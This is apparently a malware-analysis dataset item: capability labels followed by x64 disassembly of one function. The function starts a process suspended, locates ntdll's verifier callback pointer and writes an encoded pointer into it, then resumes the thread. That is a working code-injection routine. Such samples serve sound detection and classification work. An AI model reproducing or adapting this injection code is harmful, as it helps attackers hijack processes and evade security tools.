Function at 0x140001d10
Capabilities:
Create process on windows
Create process suspended
Link many functions at runtime
Parse pe header
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x100
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xf0], rax
xorps xmm1, xmm1
mov qword [r11 + 0x10], rsi
movups xmmword [rsp + 0x80], xmm1
xor eax, eax
mov r14, rcx
movups xmmword [rsp + 0x90], xmm1
lea rcx, str.ntdll.dll
mov qword [r11 + 0x18], r12
movups xmmword [rsp + 0xa0], xmm1
mov qword [r11 - 0x48], rax
xorps xmm0, xmm0
mov qword [rsp + 0x68], rax
movups xmmword [r11 - 0x78], xmm1
movups xmmword [r11 - 0x68], xmm1
movups xmmword [r11 - 0x58], xmm1
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.kernel32.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rcx, dword [rbp + 0x3c]
lea rsi, [rbp + 0x108]
mov r15, rax
add rsi, rcx
mov eax, 0x5a4d
cmp word [rbp], ax
jne 0x140001e4e
cmp dword [rcx + rbp], 0x4550
jne 0x140001e4e
movzx ebx, word [rcx + rbp + 6]
xor edi, edi
mov r11d, edi
test ebx, ebx
je 0x140001e40
lea r12, str..mrdata
nop word [rax + rax]
mov rax, rdi
inc rax
cmp byte [rax + r12], dil
jne 0x140001de3
movsxd rcx, r11d
mov rdx, r12
lea r9, [rcx + rcx*4]
shl r9, 3
test rax, rax
je 0x140001e29
mov r10, r9
sub r10, r12
add r10, rsi
nop dword [rax + rax]
movzx ecx, byte [r10 + rdx]
dec rax
movzx r8d, byte [rdx]
cmp r8b, cl
jne 0x140001e33
inc rdx
test rax, rax
jne 0x140001e10
mov ecx, dword [r9 + rsi + 0xc]
add rcx, rbp
jmp 0x140001e5f
cmp r8d, ecx
je 0x140001e29
inc r11d
cmp r11d, ebx
jl 0x140001de0
lea rcx, str.GetSectionBase___failed__section_not_found_n
call fcn.1400017d0
jmp 0x140001e5c
lea rcx, str.GetSectionBase___failed__invalid_header_n
call fcn.1400017d0
xor edi, edi
mov rcx, rdi
mov r12, qword [rsp + 0x140]
lea rbx, [rcx + 0x280]
mov rsi, qword [rsp + 0x138]
mov eax, edi
cmp qword [rbx], rcx
je 0x140001ea5
add rbx, 8
inc eax
cmp eax, 0xa
jl 0x140001e78
lea rcx, str.failed_to_find_ntdll_LdrpMrdataBase
call fcn.1400017d0
lea rcx, str.failed_to_find_address_of_ntdll_AvrfpAPILookupCallbackRoutine_n
call fcn.1400017d0
jmp 0x1400020ab
mov rdx, rbx
lea rcx, str.found_ntdll_LdrpMrdataBase_at_0x_llx_n
call fcn.1400017d0
mov eax, edi
cmp qword [rbx], 0
je 0x140001ed8
add rbx, 8
inc eax
cmp eax, 0xa
jl 0x140001eb6
lea rcx, str.failed_to_find_address_of_ntdll_AvrfpAPILookupCallbackRoutine_n
call fcn.1400017d0
jmp 0x1400020ab
mov rdx, rbx
lea rcx, str.found_ntdll_AvrfpAPILookupCallbackRoutine_at_0x_llx_n
call fcn.1400017d0
lea rdx, str.NtProtectVirtualMemory
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rbp
mov qword [0x140025eb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LdrLoadDll
mov rcx, rbp
mov qword [0x140025ec0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtContinue
mov rcx, rbp
mov qword [0x140025ec8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.KiUserApcDispatcher
mov rcx, rbp
mov qword [0x140025ed0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.OutputDebugStringW
mov rcx, r15
mov qword [0x140025ee0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov dword [rsp + 0x80], 0x68
mov qword [0x140025ed8], rax
xor r8d, r8d
lea rax, [rsp + 0x58]
mov rdx, r14
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001fd2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.C___failed__error:__d_n
call fcn.1400017d0
mov rcx, qword [rsp + 0x58]
lea r8, [0x140025eb8]
mov r9d, 0x30
mov qword [rsp + 0x20], rdi
lea rdx, [0x140025eb8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000200e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Write_1_failed__error:__d_n
call fcn.1400017d0
mov eax, dword [0x7ffe0330]
lea r8, [rsp + 0x70]
mov ecx, eax
mov edx, eax
and ecx, 0x3f
mov qword [rsp + 0x20], rdi
lea rax, [0x140001b60]
mov r9d, 8
xor rdx, rax
ror rdx, cl
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x70], rdx
lea rdx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140002065
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Write_2_failed__error:__d_n
call fcn.1400017d0
mov rcx, qword [rsp + 0x58]
lea r8, [rsp + 0x78]
mov r9d, 1
mov byte [rsp + 0x78], 1
mov rdx, rbx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400020a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Write_3_failed__error:__d_n
call fcn.1400017d0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140002250
add rsp, 0x100
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret